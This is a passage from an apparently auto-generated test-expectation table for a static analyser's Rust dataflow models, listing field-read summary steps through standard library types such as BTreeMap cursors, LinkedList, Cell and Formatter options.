[summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:core::_::::nth | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:core::_::::nth | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::delimiter | Group.delimiter | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::delimiter | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::stream | Group.stream | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::stream | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Ident.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Literal.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Literal::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::span | Punct.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::bridge::Punct::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:proc_macro::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Element in lang:proc_macro::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::as_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::native] in lang:std::_::::as_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::into_inner | JoinInner.native | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::native] in lang:std::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in lang:std::_::::thread | JoinInner.thread | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Field[crate::thread::JoinInner::thread] in lang:std::_::::thread | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[0] in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[0].Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::poll_next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[1] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[1].Field[crate::option::Option::Some(0)] in repo:https://github.com/rwf2/Rocket:rocket_http::_::::weight_or | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::delimiter | Group.delimiter | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)].Field[crate::bridge::Group::delimiter] in lang:proc_macro::_::::delimiter | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)] in lang:proc_macro::_::::stream | Group.stream | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Group(0)].Field[crate::bridge::Group::stream] in lang:proc_macro::_::::stream | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Ident(0)] in lang:proc_macro::_::::span | Ident.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Ident(0)].Field[crate::bridge::Ident::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Literal(0)] in lang:proc_macro::_::::span | Literal.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Literal(0)].Field[crate::bridge::Literal::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Punct(0)] in lang:proc_macro::_::::span | Punct.span | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::Punct(0)].Field[crate::bridge::Punct::span] in lang:proc_macro::_::::span | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::asserting::Wrapper(0)] in lang:core::_::::try_capture | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::asserting::Wrapper(0)].Reference in lang:core::_::::try_capture | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::handle::InternedStore::owned] in lang:proc_macro::_::::copy | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::bridge::handle::InternedStore::owned].Element in lang:proc_macro::_::::copy | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::Cell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::RefCell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::SyncUnsafeCell::value] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::once::OnceCell::inner] in lang:core::_::::into_inner | UnsafeCell | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::cell::once::OnceCell::inner].Field[crate::cell::UnsafeCell::value] in lang:core::_::::into_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::EscapeDebug(0)] in lang:core::_::::next | Char | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::EscapeDebug(0)].Field[crate::char::EscapeDebugInner::Char(0)] in lang:core::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16::iter] in lang:core::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element in lang:core::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::kind | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::TryReserveError::kind].Reference in lang:alloc::_::::kind | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::BinaryHeap::data].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter] in lang:alloc::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::binary_heap::Iter::iter].Element in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::extract_if_inner | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::extract_if_inner | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::split_off | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::peek_next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::peek_prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::peek_prev | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::peek_prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::prev | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::prev | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current] in lang:alloc::_::::prev | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::CursorMutKey::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge] in lang:alloc::_::::next | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge] in lang:alloc::_::::next | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::cur_leaf_edge].Field[crate::option::Option::Some(0)] in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length] in lang:alloc::_::::size_hint | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ExtractIfInner::length].Reference in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::range] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Iter::range].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::len | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner] in lang:alloc::_::::size_hint | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Keys::inner].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Range::inner] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Range::inner].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner] in lang:alloc::_::::len | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner] in lang:alloc::_::::size_hint | Iter.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::Values::inner].Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner] in lang:alloc::_::::len | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::len | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner] in lang:alloc::_::::size_hint | IterMut.length | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::map::ValuesMut::inner].Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::a] in lang:alloc::_::::nexts | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::a].Element in lang:alloc::_::::nexts | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::b] in lang:alloc::_::::nexts | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::merge_iter::MergeIterInner::b].Element in lang:alloc::_::::nexts | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Edge(0)] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Edge(0)].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Root(0)] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::navigate::LazyLeafHandle::Root(0)].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::parent] in lang:alloc::_::::merge_tracking_parent | Handle.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::BalancingContext::parent].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::merge_tracking_parent | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | NodeRef.height | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | NodeRef.node | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::reborrow | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::split | NodeRef.height | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::split | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::set::BTreeSet::map].Reference in lang:alloc::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::set::CursorMut::inner] in lang:alloc::_::::with_mutable_key | CursorMut | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::btree::set::CursorMut::inner].Field[crate::collections::btree::map::CursorMut::inner] in lang:alloc::_::::with_mutable_key | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::HashMap::base].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::map::Iter::base].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::HashSet::base].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Iter::base].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::SymmetricDifference::iter].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::hash::set::Union::iter].Reference in lang:std::_::::clone | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::index | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::current] in lang:alloc::_::::index | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::move_next | LinkedList.head | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::head] in lang:alloc::_::::move_next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::list] in lang:alloc::_::::move_prev | LinkedList.tail | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::Cursor::list].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::move_prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::index | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::index | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::index | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::remove_current | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::remove_current | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::remove_current | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::remove_current | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::remove_current_as_list | Ok | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::result::Result::Ok(0)] in lang:alloc::_::::remove_current_as_list | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current] in lang:alloc::_::::remove_current_as_list | Some | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::current].Field[crate::option::Option::Some(0)] in lang:alloc::_::::remove_current_as_list | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::insert_after | LinkedList.len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len] in lang:alloc::_::::insert_after | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::move_next | LinkedList.head | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::head] in lang:alloc::_::::move_next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::move_prev | LinkedList.tail | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::tail] in lang:alloc::_::::move_prev | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::remove_current_as_list | LinkedList.alloc | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::alloc] in lang:alloc::_::::remove_current_as_list | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list] in lang:alloc::_::::splice_after | LinkedList.len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::CursorMut::list].Field[crate::collections::linked_list::LinkedList::len] in lang:alloc::_::::splice_after | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::IntoIter::list] in lang:alloc::_::::size_hint | LinkedList.len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::linked_list::IntoIter::list].Field[crate::collections::linked_list::LinkedList::len] in lang:alloc::_::::size_hint | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner] in lang:alloc::_::::count | VecDeque.len | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::vec_deque::into_iter::IntoIter::inner].Field[crate::collections::vec_deque::VecDeque::len] in lang:alloc::_::::count | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::vec_deque::iter::Iter::i1] in lang:alloc::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::collections::vec_deque::iter::Iter::i1].Element in lang:alloc::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Children(0)] in lang:proc_macro::_::::next | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::diagnostic::Children(0)].Element in lang:proc_macro::_::::next | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes] in lang:alloc::_::::as_bytes | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::c_str::FromVecWithNulError::bytes].Element in lang:alloc::_::::as_bytes | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsStr::inner] in lang:std::_::::as_encoded_bytes | Slice | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsStr::inner].Field[crate::sys::os_str::bytes::Slice::inner] in lang:std::_::::as_encoded_bytes | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::into_vec | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::into_vec | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner] in lang:std::_::::into_encoded_bytes | Buf | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::ffi::os_str::OsString::inner].Field[crate::sys::os_str::bytes::Buf::inner] in lang:std::_::::into_encoded_bytes | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Arguments::pieces] in lang:core::_::::as_str | element | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Arguments::pieces].Element in lang:core::_::::as_str | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::align | FormattingOptions.align | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::align] in lang:core::_::::align | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::fill | FormattingOptions.fill | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill] in lang:core::_::::fill | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::flags | FormattingOptions.flags | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::flags] in lang:core::_::::flags | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::padding | FormattingOptions.fill | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill] in lang:core::_::::padding | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::precision | FormattingOptions.precision | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::precision] in lang:core::_::::precision | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options] in lang:core::_::::width | FormattingOptions.width | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::width] in lang:core::_::::width | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugList::inner] in lang:core::_::::finish | DebugInner.result | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugList::inner].Field[crate::fmt::builders::DebugInner::result] in lang:core::_::::finish | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::entry | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::entry | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::finish | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::finish | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::finish_non_exhaustive | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::finish_non_exhaustive | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::key | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::key_with | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::key_with | -| file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result] in lang:core::_::::value | Err | file://:0:0:0:0 | [summary] read: Argument[self].Field[crate::fmt::builders::DebugMap::result].Field[crate::result::Result::Err(0)] in lang:core::_::::value | -| file://:0:0:0:0 | [summary] read: 